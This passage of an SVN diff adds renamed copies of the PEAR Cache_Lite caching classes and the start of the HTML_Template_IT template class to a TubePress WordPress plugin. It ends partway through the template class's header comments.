+    * NB : There is no lifetime for memory caching ! 
+    *
+    * @var boolean $_memoryCaching
+    */
+    var $_memoryCaching = false;
+
+    /**
+    * Enable / Disable "Only Memory Caching"
+    * (be carefull, memory caching is "beta quality")
+    *
+    * @var boolean $_onlyMemoryCaching
+    */
+    var $_onlyMemoryCaching = false;
+
+    /**
+    * Memory caching array
+    *
+    * @var array $_memoryCachingArray
+    */
+    var $_memoryCachingArray = array();
+
+    /**
+    * Memory caching counter
+    *
+    * @var int $memoryCachingCounter
+    */
+    var $_memoryCachingCounter = 0;
+
+    /**
+    * Memory caching limit
+    *
+    * @var int $memoryCachingLimit
+    */
+    var $_memoryCachingLimit = 1000;
+    
+    /**
+    * File Name protection
+    *
+    * if set to true, you can use any cache id or group name
+    * if set to false, it can be faster but cache ids and group names
+    * will be used directly in cache file names so be carefull with
+    * special characters...
+    *
+    * @var boolean $fileNameProtection
+    */
+    var $_fileNameProtection = true;
+    
+    /**
+    * Enable / disable automatic serialization
+    *
+    * it can be used to save directly datas which aren't strings
+    * (but it's slower)    
+    *
+    * @var boolean $_serialize
+    */
+    var $_automaticSerialization = false;
+    
+    /**
+    * Disable / Tune the automatic cleaning process
+    *
+    * The automatic cleaning process destroy too old (for the given life time)
+    * cache files when a new cache file is written.
+    * 0               => no automatic cache cleaning
+    * 1               => systematic cache cleaning
+    * x (integer) > 1 => automatic cleaning randomly 1 times on x cache write
+    *
+    * @var int $_automaticCleaning
+    */
+    var $_automaticCleaningFactor = 0;
+    
+    /**
+    * Nested directory level
+    *
+    * Set the hashed directory structure level. 0 means "no hashed directory 
+    * structure", 1 means "one level of directory", 2 means "two levels"... 
+    * This option can speed up Cache_Lite only when you have many thousands of 
+    * cache file. Only specific benchs can help you to choose the perfect value 
+    * for you. Maybe, 1 or 2 is a good start.
+    *
+    * @var int $_hashedDirectoryLevel
+    */
+    var $_hashedDirectoryLevel = 0;
+    
+    /**
+    * Umask for hashed directory structure
+    *
+    * @var int $_hashedDirectoryUmask
+    */
+    var $_hashedDirectoryUmask = 0700;
+    
+    /**
+     * API break for error handling in CACHE_LITE_ERROR_RETURN mode
+     * 
+     * In CACHE_LITE_ERROR_RETURN mode, error handling was not good because
+     * for example save() method always returned a boolean (a PEAR_Error object
+     * would be better in CACHE_LITE_ERROR_RETURN mode). To correct this without
+     * breaking the API, this option (false by default) can change this handling.
+     * 
+     * @var boolean
+     */
+    var $_errorHandlingAPIBreak = false;
+    
+    // --- Public methods ---
+
+    /**
+    * Constructor
+    *
+    * $options is an assoc. Available options are :
+    * $options = array(
+    *     'cacheDir' => directory where to put the cache files (string),
+    *     'caching' => enable / disable caching (boolean),
+    *     'lifeTime' => cache lifetime in seconds (int),
+    *     'fileLocking' => enable / disable fileLocking (boolean),
+    *     'writeControl' => enable / disable write control (boolean),
+    *     'readControl' => enable / disable read control (boolean),
+    *     'readControlType' => type of read control 'crc32', 'md5', 'strlen' (string),
+    *     'pearErrorMode' => pear error mode (when raiseError is called) (cf PEAR doc) (int),
+    *     'memoryCaching' => enable / disable memory caching (boolean),
+    *     'onlyMemoryCaching' => enable / disable only memory caching (boolean),
+    *     'memoryCachingLimit' => max nbr of records to store into memory caching (int),
+    *     'fileNameProtection' => enable / disable automatic file name protection (boolean),
+    *     'automaticSerialization' => enable / disable automatic serialization (boolean),
+    *     'automaticCleaningFactor' => distable / tune automatic cleaning process (int),
+    *     'hashedDirectoryLevel' => level of the hashed directory system (int),
+    *     'hashedDirectoryUmask' => umask for hashed directory structure (int),
+    *     'errorHandlingAPIBreak' => API break for better error handling ? (boolean)
+    * );
+    *
+    * @param array $options options
+    * @access public
+    */
+    function net_php_pear_Cache_Lite($options = array(NULL))
+    {
+        foreach($options as $key => $value) {
+            $this->setOption($key, $value);
+        }
+    }
+    
+    /**
+    * Generic way to set a Cache_Lite option
+    *
+    * see Cache_Lite constructor for available options
+    *
+    * @var string $name name of the option
+    * @var mixed $value value of the option
+    * @access public
+    */
+    function setOption($name, $value) 
+    {
+        $availableOptions = array('errorHandlingAPIBreak', 'hashedDirectoryUmask', 'hashedDirectoryLevel', 'automaticCleaningFactor', 'automaticSerialization', 'fileNameProtection', 'memoryCaching', 'onlyMemoryCaching', 'memoryCachingLimit', 'cacheDir', 'caching', 'lifeTime', 'fileLocking', 'writeControl', 'readControl', 'readControlType', 'pearErrorMode');
+        if (in_array($name, $availableOptions)) {
+            $property = '_'.$name;
+            $this->$property = $value;
+        }
+    }
+    
+    /**
+    * Test if a cache is available and (if yes) return it
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @param boolean $doNotTestCacheValidity if set to true, the cache validity won't be tested
+    * @return string data of the cache (else : false)
+    * @access public
+    */
+    function get($id, $group = 'default', $doNotTestCacheValidity = false)
+    {
+        $this->_id = $id;
+        $this->_group = $group;
+        $data = false;
+        if ($this->_caching) {
+            $this->_setRefreshTime();
+            $this->_setFileName($id, $group);
+            clearstatcache();
+            if ($this->_memoryCaching) {
+                if (isset($this->_memoryCachingArray[$this->_file])) {
+                    if ($this->_automaticSerialization) {
+                        return unserialize($this->_memoryCachingArray[$this->_file]);
+                    }
+                    return $this->_memoryCachingArray[$this->_file];
+                }
+                if ($this->_onlyMemoryCaching) {
+                    return false;
+                }                
+            }
+            if (($doNotTestCacheValidity) || (is_null($this->_refreshTime))) {
+                if (file_exists($this->_file)) {
+                    $data = $this->_read();
+                }
+            } else {
+                if ((file_exists($this->_file)) && (@filemtime($this->_file) > $this->_refreshTime)) {
+                    $data = $this->_read();
+                }
+            }
+            if (($data) and ($this->_memoryCaching)) {
+                $this->_memoryCacheAdd($data);
+            }
+            if (($this->_automaticSerialization) and (is_string($data))) {
+                $data = unserialize($data);
+            }
+            return $data;
+        }
+        return false;
+    }
+    
+    /**
+    * Save some data in a cache file
+    *
+    * @param string $data data to put in cache (can be another type than strings if automaticSerialization is on)
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @return boolean true if no problem (else : false or a PEAR_Error object)
+    * @access public
+    */
+    function save($data, $id = NULL, $group = 'default')
+    {
+        if ($this->_caching) {
+            if ($this->_automaticSerialization) {
+                $data = serialize($data);
+            }
+            if (isset($id)) {
+                $this->_setFileName($id, $group);
+            }
+            if ($this->_memoryCaching) {
+                $this->_memoryCacheAdd($data);
+                if ($this->_onlyMemoryCaching) {
+                    return true;
+                }
+            }
+            if ($this->_automaticCleaningFactor>0) {
+                $rand = rand(1, $this->_automaticCleaningFactor);
+                if ($rand==1) {
+                    $this->clean(false, 'old');
+                }
+            }
+            if ($this->_writeControl) {
+                $res = $this->_writeAndControl($data);
+                if (is_bool($res)) {
+                    if ($res) {
+                        return true;  
+                    }
+                    // if $res if false, we need to invalidate the cache
+                    @touch($this->_file, time() - 2*abs($this->_lifeTime));
+                    return false;
+                }            
+            } else {
+                $res = $this->_write($data);
+            }
+            if (is_object($res)) {
+                // $res is a PEAR_Error object 
+                if (!($this->_errorHandlingAPIBreak)) {   
+                    return false; // we return false (old API)
+                }
+            }
+            return $res;
+        }
+        return false;
+    }
+
+    /**
+    * Remove a cache file
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @return boolean true if no problem
+    * @access public
+    */
+    function remove($id, $group = 'default')
+    {
+        $this->_setFileName($id, $group);
+        if ($this->_memoryCaching) {
+            if (isset($this->_memoryCachingArray[$this->_file])) {
+                unset($this->_memoryCachingArray[$this->_file]);
+                $this->_memoryCachingCounter = $this->_memoryCachingCounter - 1;
+            }
+            if ($this->_onlyMemoryCaching) {
+                return true;
+            }
+        }
+        return $this->_unlink($this->_file);
+    }
+
+    /**
+    * Clean the cache
+    *
+    * if no group is specified all cache files will be destroyed
+    * else only cache files of the specified group will be destroyed
+    *
+    * @param string $group name of the cache group
+    * @param string $mode flush cache mode : 'old', 'ingroup', 'notingroup', 
+    *                                        'callback_myFunction'
+    * @return boolean true if no problem
+    * @access public
+    */
+    function clean($group = false, $mode = 'ingroup')
+    {
+        return $this->_cleanDir($this->_cacheDir, $group, $mode);
+    }
+       
+    /**
+    * Set to debug mode
+    *
+    * When an error is found, the script will stop and the message will be displayed
+    * (in debug mode only). 
+    *
+    * @access public
+    */
+    function setToDebug()
+    {
+        $this->setOption('pearErrorMode', CACHE_LITE_ERROR_DIE);
+    }
+
+    /**
+    * Set a new life time
+    *
+    * @param int $newLifeTime new life time (in seconds)
+    * @access public
+    */
+    function setLifeTime($newLifeTime)
+    {
+        $this->_lifeTime = $newLifeTime;
+        $this->_setRefreshTime();
+    }
+
+    /**
+    * Save the state of the caching memory array into a cache file cache
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @access public
+    */
+    function saveMemoryCachingState($id, $group = 'default')
+    {
+        if ($this->_caching) {
+            $array = array(
+                'counter' => $this->_memoryCachingCounter,
+                'array' => $this->_memoryCachingArray
+            );
+            $data = serialize($array);
+            $this->save($data, $id, $group);
+        }
+    }
+
+    /**
+    * Load the state of the caching memory array from a given cache file cache
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @param boolean $doNotTestCacheValidity if set to true, the cache validity won't be tested
+    * @access public
+    */
+    function getMemoryCachingState($id, $group = 'default', $doNotTestCacheValidity = false)
+    {
+        if ($this->_caching) {
+            if ($data = $this->get($id, $group, $doNotTestCacheValidity)) {
+                $array = unserialize($data);
+                $this->_memoryCachingCounter = $array['counter'];
+                $this->_memoryCachingArray = $array['array'];
+            }
+        }
+    }
+    
+    /**
+    * Return the cache last modification time
+    *
+    * BE CAREFUL : THIS METHOD IS FOR HACKING ONLY !
+    *
+    * @return int last modification time
+    */
+    function lastModified() 
+    {
+        return @filemtime($this->_file);
+    }
+    
+    /**
+    * Trigger a PEAR error
+    *
+    * To improve performances, the PEAR.php file is included dynamically.
+    * The file is so included only when an error is triggered. So, in most
+    * cases, the file isn't included and perfs are much better.
+    *
+    * @param string $msg error message
+    * @param int $code error code
+    * @access public
+    */
+    function raiseError($msg, $code)
+    {
+        return net_php_pear_PEAR::raiseError($msg, $code, $this->_pearErrorMode);
+    }
+    
+    /**
+     * Extend the life of a valid cache file
+     * 
+     * see http://pear.php.net/bugs/bug.php?id=6681
+     * 
+     * @access public
+     */
+    function extendLife()
+    {
+        @touch($this->_file);
+    }
+    
+    // --- Private methods ---
+    
+    /**
+    * Compute & set the refresh time
+    *
+    * @access private
+    */
+    function _setRefreshTime() 
+    {
+        if (is_null($this->_lifeTime)) {
+            $this->_refreshTime = null;
+        } else {
+            $this->_refreshTime = time() - $this->_lifeTime;
+        }
+    }
+    
+    /**
+    * Remove a file
+    * 
+    * @param string $file complete file path and name
+    * @return boolean true if no problem
+    * @access private
+    */
+    function _unlink($file)
+    {
+        if (!@unlink($file)) {
+            return $this->raiseError('Cache_Lite : Unable to remove cache !', -3);
+        }
+        return true;        
+    }
+
+    /**
+    * Recursive function for cleaning cache file in the given directory
+    *
+    * @param string $dir directory complete path (with a trailing slash)
+    * @param string $group name of the cache group
+    * @param string $mode flush cache mode : 'old', 'ingroup', 'notingroup',
+                                             'callback_myFunction'
+    * @return boolean true if no problem
+    * @access private
+    */
+    function _cleanDir($dir, $group = false, $mode = 'ingroup')     
+    {
+        if ($this->_fileNameProtection) {
+            $motif = ($group) ? 'cache_'.md5($group).'_' : 'cache_';
+        } else {
+            $motif = ($group) ? 'cache_'.$group.'_' : 'cache_';
+        }
+        if ($this->_memoryCaching) {
+	    foreach($this->_memoryCachingArray as $key => $v) {
+                if (strpos($key, $motif) !== false) {
+                    unset($this->_memoryCachingArray[$key]);
+                    $this->_memoryCachingCounter = $this->_memoryCachingCounter - 1;
+                }
+            }
+            if ($this->_onlyMemoryCaching) {
+                return true;
+            }
+        }
+        if (!($dh = opendir($dir))) {
+            return $this->raiseError('Cache_Lite : Unable to open cache directory !', -4);
+        }
+        $result = true;
+        while ($file = readdir($dh)) {
+            if (($file != '.') && ($file != '..')) {
+                if (substr($file, 0, 6)=='cache_') {
+                    $file2 = $dir . $file;
+                    if (is_file($file2)) {
+                        switch (substr($mode, 0, 9)) {
+                            case 'old':
+                                // files older than lifeTime get deleted from cache
+                                if (!is_null($this->_lifeTime)) {
+                                    if ((mktime() - @filemtime($file2)) > $this->_lifeTime) {
+                                        $result = ($result and ($this->_unlink($file2)));
+                                    }
+                                }
+                                break;
+                            case 'notingrou':
+                                if (strpos($file2, $motif) === false) {
+                                    $result = ($result and ($this->_unlink($file2)));
+                                }
+                                break;
+                            case 'callback_':
+                                $func = substr($mode, 9, strlen($mode) - 9);
+                                if ($func($file2, $group)) {
+                                    $result = ($result and ($this->_unlink($file2)));
+                                }
+                                break;
+                            case 'ingroup':
+                            default:
+                                if (strpos($file2, $motif) !== false) {
+                                    $result = ($result and ($this->_unlink($file2)));
+                                }
+                                break;
+                        }
+                    }
+                    if ((is_dir($file2)) and ($this->_hashedDirectoryLevel>0)) {
+                        $result = ($result and ($this->_cleanDir($file2 . '/', $group, $mode)));
+                    }
+                }
+            }
+        }
+        return $result;
+    }
+      
+    /**
+    * Add some date in the memory caching array
+    *
+    * @param string $data data to cache
+    * @access private
+    */
+    function _memoryCacheAdd($data)
+    {
+        $this->_memoryCachingArray[$this->_file] = $data;
+        if ($this->_memoryCachingCounter >= $this->_memoryCachingLimit) {
+            list($key, ) = each($this->_memoryCachingArray);
+            unset($this->_memoryCachingArray[$key]);
+        } else {
+            $this->_memoryCachingCounter = $this->_memoryCachingCounter + 1;
+        }
+    }
+
+    /**
+    * Make a file name (with path)
+    *
+    * @param string $id cache id
+    * @param string $group name of the group
+    * @access private
+    */
+    function _setFileName($id, $group)
+    {
+        
+        if ($this->_fileNameProtection) {
+            $suffix = 'cache_'.md5($group).'_'.md5($id);
+        } else {
+            $suffix = 'cache_'.$group.'_'.$id;
+        }
+        $root = $this->_cacheDir;
+        if ($this->_hashedDirectoryLevel>0) {
+            $hash = md5($suffix);
+            for ($i=0 ; $i<$this->_hashedDirectoryLevel ; $i++) {
+                $root = $root . 'cache_' . substr($hash, 0, $i + 1) . '/';
+            }   
+        }
+        $this->_fileName = $suffix;
+        $this->_file = $root.$suffix;
+    }
+    
+    /**
+    * Read the cache file and return the content
+    *
+    * @return string content of the cache file (else : false or a PEAR_Error object)
+    * @access private
+    */
+    function _read()
+    {
+        $fp = @fopen($this->_file, "rb");
+        if ($this->_fileLocking) @flock($fp, LOCK_SH);
+        if ($fp) {
+            clearstatcache();
+            $length = @filesize($this->_file);
+            $mqr = get_magic_quotes_runtime();
+            set_magic_quotes_runtime(0);
+            if ($this->_readControl) {
+                $hashControl = @fread($fp, 32);
+                $length = $length - 32;
+            } 
+            if ($length) {
+                $data = @fread($fp, $length);
+            } else {
+                $data = '';
+            }
+            set_magic_quotes_runtime($mqr);
+            if ($this->_fileLocking) @flock($fp, LOCK_UN);
+            @fclose($fp);
+            if ($this->_readControl) {
+                $hashData = $this->_hash($data, $this->_readControlType);
+                if ($hashData != $hashControl) {
+                    if (!(is_null($this->_lifeTime))) {
+                        @touch($this->_file, time() - 2*abs($this->_lifeTime)); 
+                    } else {
+                        @unlink($this->_file);
+                    }
+                    return false;
+                }
+            }
+            return $data;
+        }
+        return $this->raiseError('Cache_Lite : Unable to read cache !', -2); 
+    }
+    
+    /**
+    * Write the given data in the cache file
+    *
+    * @param string $data data to put in cache
+    * @return boolean true if ok (a PEAR_Error object else)
+    * @access private
+    */
+    function _write($data)
+    {
+        if ($this->_hashedDirectoryLevel > 0) {
+            $hash = md5($this->_fileName);
+            $root = $this->_cacheDir;
+            for ($i=0 ; $i<$this->_hashedDirectoryLevel ; $i++) {
+                $root = $root . 'cache_' . substr($hash, 0, $i + 1) . '/';
+                if (!(@is_dir($root))) {
+                    @mkdir($root, $this->_hashedDirectoryUmask);
+                }
+            }
+        }
+        $fp = @fopen($this->_file, "wb");
+        if ($fp) {
+            if ($this->_fileLocking) @flock($fp, LOCK_EX);
+            if ($this->_readControl) {
+                @fwrite($fp, $this->_hash($data, $this->_readControlType), 32);
+            }
+            $mqr = get_magic_quotes_runtime();
+            set_magic_quotes_runtime(0);
+            @fwrite($fp, $data);
+            set_magic_quotes_runtime($mqr);
+            if ($this->_fileLocking) @flock($fp, LOCK_UN);
+            @fclose($fp);
+            return true;
+        }      
+        return $this->raiseError('Cache_Lite : Unable to write cache file : '.$this->_file, -1);
+    }
+       
+    /**
+    * Write the given data in the cache file and control it just after to avoir corrupted cache entries
+    *
+    * @param string $data data to put in cache
+    * @return boolean true if the test is ok (else : false or a PEAR_Error object)
+    * @access private
+    */
+    function _writeAndControl($data)
+    {
+        $result = $this->_write($data);
+        if (is_object($result)) {
+            return $result; #Â We return the PEAR_Error object
+        }
+        $dataRead = $this->_read();
+        if (is_object($dataRead)) {
+            return $dataRead; #Â We return the PEAR_Error object
+        }
+        if ((is_bool($dataRead)) && (!$dataRead)) {
+            return false; 
+        }
+        return ($dataRead==$data);
+    }
+    
+    /**
+    * Make a control key with the string containing datas
+    *
+    * @param string $data data
+    * @param string $controlType type of control 'md5', 'crc32' or 'strlen'
+    * @return string control key
+    * @access private
+    */
+    function _hash($data, $controlType)
+    {
+        switch ($controlType) {
+        case 'md5':
+            return md5($data);
+        case 'crc32':
+            return sprintf('% 32d', crc32($data));
+        case 'strlen':
+            return sprintf('% 32d', strlen($data));
+        default:
+            return $this->raiseError('Unknown controlType ! (available values are only \'md5\', \'crc32\', \'strlen\')', -5);
+        }
+    }
+    
+} 
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/File.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/File.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/File.class.php	(revision 44)
@@ -0,0 +1,90 @@
+<?php
+
+/**
+* This class extends Cache_Lite and offers a cache system driven by a master file
+*
+* With this class, cache validity is only dependent of a given file. Cache files
+* are valid only if they are older than the master file. It's a perfect way for
+* caching templates results (if the template file is newer than the cache, cache
+* must be rebuild...) or for config classes...
+* There are some examples in the 'docs/examples' file
+* Technical choices are described in the 'docs/technical' file
+*
+* @package Cache_Lite
+* @version $Id: File.php,v 1.3 2005/12/04 16:03:55 fab Exp $
+* @author Fabien MARTY <fab@php.net>
+*/
+ 
+class net_php_pear_Cache_Lite_File extends net_php_pear_Cache_Lite
+{
+
+    // --- Private properties ---
+    
+    /**
+    * Complete path of the file used for controlling the cache lifetime
+    *
+    * @var string $_masterFile
+    */
+    var $_masterFile = '';
+    
+    /**
+    * Masterfile mtime
+    *
+    * @var int $_masterFile_mtime
+    */
+    var $_masterFile_mtime = 0;
+    
+    // --- Public methods ----
+    
+    /**
+    * Constructor
+    *
+    * $options is an assoc. To have a look at availables options,
+    * see the constructor of the Cache_Lite class in 'Cache_Lite.php'
+    *
+    * Comparing to Cache_Lite constructor, there is another option :
+    * $options = array(
+    *     (...) see Cache_Lite constructor
+    *     'masterFile' => complete path of the file used for controlling the cache lifetime(string)
+    * );
+    *
+    * @param array $options options
+    * @access public
+    */
+    function net_php_pear_Cache_Lite_File($options = array(NULL))
+    {   
+        $options['lifetime'] = 0;
+        $this->net_php_pear_Cache_Lite($options);
+        if (isset($options['masterFile'])) {
+            $this->_masterFile = $options['masterFile'];
+        } else {
+            return $this->raiseError('Cache_Lite_File : masterFile option must be set !');
+        }
+        if (!($this->_masterFile_mtime = @filemtime($this->_masterFile))) {
+            return $this->raiseError('Cache_Lite_File : Unable to read masterFile : '.$this->_masterFile, -3);
+        }
+    }
+    
+    /**
+    * Test if a cache is available and (if yes) return it
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @return string data of the cache (or false if no cache available)
+    * @access public
+    */
+    function get($id, $group = 'default') 
+    {
+        if ($data = parent::get($id, $group, true)) {
+            if ($filemtime = $this->lastModified()) {
+                if ($filemtime > $this->_masterFile_mtime) {
+                    return $data;
+                }
+            }
+        }
+        return false;
+    }
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Function.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Function.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Function.class.php	(revision 44)
@@ -0,0 +1,209 @@
+<?php
+
+/**
+* This class extends Cache_Lite and can be used to cache the result and output of functions/methods
+*
+* This class is completly inspired from Sebastian Bergmann's
+* PEAR/Cache_Function class. This is only an adaptation to
+* Cache_Lite
+*
+* There are some examples in the 'docs/examples' file
+* Technical choices are described in the 'docs/technical' file
+*
+* @package Cache_Lite
+* @version $Id: Function.php,v 1.11 2006/12/14 12:59:43 cweiske Exp $
+* @author Sebastian BERGMANN <sb@sebastian-bergmann.de>
+* @author Fabien MARTY <fab@php.net>
+*/
+
+class net_php_pear_Cache_Lite_Function extends net_php_pear_Cache_Lite
+{
+
+    // --- Private properties ---
+
+    /**
+     * Default cache group for function caching
+     *
+     * @var string $_defaultGroup
+     */
+    var $_defaultGroup = 'Cache_Lite_Function';
+
+    /**
+     * Don't cache the method call when its output contains the string "NOCACHE"
+     *
+     * if set to true, the output of the method will never be displayed (because the output is used
+     * to control the cache)
+     *
+     * @var boolean $_dontCacheWhenTheOutputContainsNOCACHE
+     */
+    var $_dontCacheWhenTheOutputContainsNOCACHE = false;
+
+    /**
+     * Don't cache the method call when its result is false
+     *
+     * @var boolean $_dontCacheWhenTheResultIsFalse
+     */
+    var $_dontCacheWhenTheResultIsFalse = false;
+
+    /**
+     * Don't cache the method call when its result is null
+     *
+     * @var boolean $_dontCacheWhenTheResultIsNull
+     */
+    var $_dontCacheWhenTheResultIsNull = false;
+
+    /**
+     * Debug the Cache_Lite_Function caching process
+     *
+     * @var boolean $_debugCacheLiteFunction
+     */
+    var $_debugCacheLiteFunction = false;
+
+    // --- Public methods ----
+
+    /**
+    * Constructor
+    *
+    * $options is an assoc. To have a look at availables options,
+    * see the constructor of the Cache_Lite class in 'Cache_Lite.php'
+    *
+    * Comparing to Cache_Lite constructor, there is another option :
+    * $options = array(
+    *     (...) see Cache_Lite constructor
+    *     'debugCacheLiteFunction' => (bool) debug the caching process,
+    *     'defaultGroup' => default cache group for function caching (string),
+    *     'dontCacheWhenTheOutputContainsNOCACHE' => (bool) don't cache when the function output contains "NOCACHE",
+    *     'dontCacheWhenTheResultIsFalse' => (bool) don't cache when the function result is false,
+    *     'dontCacheWhenTheResultIsNull' => (bool don't cache when the function result is null
+    * );
+    *
+    * @param array $options options
+    * @access public
+    */
+    function net_php_pear_Cache_Lite_Function($options = array(NULL))
+    {
+        $availableOptions = array('debugCacheLiteFunction', 'defaultGroup', 'dontCacheWhenTheOutputContainsNOCACHE', 'dontCacheWhenTheResultIsFalse', 'dontCacheWhenTheResultIsNull');
+        while (list($name, $value) = each($options)) {
+            if (in_array($name, $availableOptions)) {
+                $property = '_'.$name;
+                $this->$property = $value;
+            }
+        }
+        reset($options);
+        $this->net_php_pear_Cache_Lite($options);
+    }
+
+    /**
+    * Calls a cacheable function or method (or not if there is already a cache for it)
+    *
+    * Arguments of this method are read with func_get_args. So it doesn't appear
+    * in the function definition. Synopsis :
+    * call('functionName', $arg1, $arg2, ...)
+    * (arg1, arg2... are arguments of 'functionName')
+    *
+    * @return mixed result of the function/method
+    * @access public
+    */
+    function call()
+    {
+        $arguments = func_get_args();
+        $id = $this->_makeId($arguments);
+        $data = $this->get($id, $this->_defaultGroup);
+        if ($data !== false) {
+            if ($this->_debugCacheLiteFunction) {
+                echo "Cache hit !\n";
+            }
+            $array = unserialize($data);
+            $output = $array['output'];
+            $result = $array['result'];
+        } else {
+            if ($this->_debugCacheLiteFunction) {
+                echo "Cache missed !\n";
+            }
+            ob_start();
+            ob_implicit_flush(false);
+            $target = array_shift($arguments);
+            if (is_array($target)) {
+                // in this case, $target is for example array($obj, 'method')
+                $object = $target[0];
+                $method = $target[1];
+                $result = call_user_func_array(array(&$object, $method), $arguments);
+            } else {
+                if (strstr($target, '::')) { // classname::staticMethod
+                    list($class, $method) = explode('::', $target);
+                    $result = call_user_func_array(array($class, $method), $arguments);
+                } else if (strstr($target, '->')) { // object->method
+                    // use a stupid name ($objet_123456789 because) of problems where the object
+                    // name is the same as this var name
+                    list($object_123456789, $method) = explode('->', $target);
+                    global $$object_123456789;
+                    $result = call_user_func_array(array($$object_123456789, $method), $arguments);
+                } else { // function
+                    $result = call_user_func_array($target, $arguments);
+                }
+            }
+            $output = ob_get_contents();
+            ob_end_clean();
+            if ($this->_dontCacheWhenTheResultIsFalse) {
+                if ((is_bool($result)) && (!($result))) {
+                    echo($output);
+                    return $result;
+                }
+            }
+            if ($this->_dontCacheWhenTheResultIsNull) {
+                if (is_null($result)) {
+                    echo($output);
+                    return $result;
+                }
+            }
+            if ($this->_dontCacheWhenTheOutputContainsNOCACHE) {
+                if (strpos($output, 'NOCACHE') > -1) {
+                    return $result;
+                }
+            }
+            $array['output'] = $output;
+            $array['result'] = $result;
+            $this->save(serialize($array), $id, $this->_defaultGroup);
+        }
+        echo($output);
+        return $result;
+    }
+
+    /**
+    * Drop a cache file
+    *
+    * Arguments of this method are read with func_get_args. So it doesn't appear
+    * in the function definition. Synopsis :
+    * remove('functionName', $arg1, $arg2, ...)
+    * (arg1, arg2... are arguments of 'functionName')
+    *
+    * @return boolean true if no problem
+    * @access public
+    */
+    function drop()
+    {
+        $id = $this->_makeId(func_get_args());
+        return $this->remove($id, $this->_defaultGroup);
+    }
+
+    /**
+    * Make an id for the cache
+    *
+    * @var array result of func_get_args for the call() or the remove() method
+    * @return string id
+    * @access private
+    */
+    function _makeId($arguments)
+    {
+        $id = serialize($arguments); // Generate a cache id
+        if (!$this->_fileNameProtection) {
+            $id = md5($id);
+            // if fileNameProtection is set to false, then the id has to be hashed
+            // because it's a very bad file name in most cases
+        }
+        return $id;
+    }
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Output.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Output.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite/Output.class.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+
+/**
+* This class extends Cache_Lite and uses output buffering to get the data to cache.
+*
+* There are some examples in the 'docs/examples' file
+* Technical choices are described in the 'docs/technical' file
+*
+* @package Cache_Lite
+* @version $Id: Output.php,v 1.4 2006/01/29 00:22:07 fab Exp $
+* @author Fabien MARTY <fab@php.net>
+*/
+
+class net_php_pear_Cache_Lite_Output extends net_php_pear_Cache_Lite
+{
+
+    // --- Public methods ---
+
+    /**
+    * Constructor
+    *
+    * $options is an assoc. To have a look at availables options,
+    * see the constructor of the Cache_Lite class in 'Cache_Lite.php'
+    *
+    * @param array $options options
+    * @access public
+    */
+    function net_php_pear_Cache_Lite_Output($options)
+    {
+        $this->net_php_pear_Cache_Lite($options);
+    }
+
+    /**
+    * Start the cache
+    *
+    * @param string $id cache id
+    * @param string $group name of the cache group
+    * @param boolean $doNotTestCacheValidity if set to true, the cache validity won't be tested
+    * @return boolean true if the cache is hit (false else)
+    * @access public
+    */
+    function start($id, $group = 'default', $doNotTestCacheValidity = false)
+    {
+        $data = $this->get($id, $group, $doNotTestCacheValidity);
+        if ($data !== false) {
+            echo($data);
+            return true;
+        }
+        ob_start();
+        ob_implicit_flush(false);
+        return false;
+    }
+
+    /**
+    * Stop the cache
+    *
+    * @access public
+    */
+    function end()
+    {
+        $data = ob_get_contents();
+        ob_end_clean();
+        $this->save($data, $this->_id, $this->_group);
+        echo($data);
+    }
+
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT.class.php	(revision 44)
@@ -0,0 +1,1003 @@
+<?php
+//
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2005 Ulf Wendel, Pierre-Alain Joye                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to the New BSD license, That is bundled  |
+// | with this package in the file LICENSE, and is available through      |
+// | the world-wide-web at                                                |
+// | http://www.opensource.org/licenses/bsd-license.php                   |
+// | If you did not receive a copy of the new BSDlicense and are unable   |
+// | to obtain it through the world-wide-web, please send a note to       |
+// | pajoye@php.net so we can mail you a copy immediately.                |
+// +----------------------------------------------------------------------+
+// | Author: Ulf Wendel <ulf.wendel@phpdoc.de>                            |
+// |         Pierre-Alain Joye <pajoye@php.net>                           |
+// +----------------------------------------------------------------------+
+//
+// $Id: IT.php,v 1.20 2006/08/17 15:47:22 dsp Exp $
+//
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_PEAR'));
+
+define('IT_OK',                         1);
+define('IT_ERROR',                     -1);
+define('IT_TPL_NOT_FOUND',             -2);
+define('IT_BLOCK_NOT_FOUND',           -3);
+define('IT_BLOCK_DUPLICATE',           -4);
+define('IT_UNKNOWN_OPTION',            -6);
+/**
+ * Integrated Template - IT
+ *
+ * Well there's not much to say about it. I needed a template class that
+ * supports a single template file with multiple (nested) blocks inside and
+ * a simple block API.
+ *
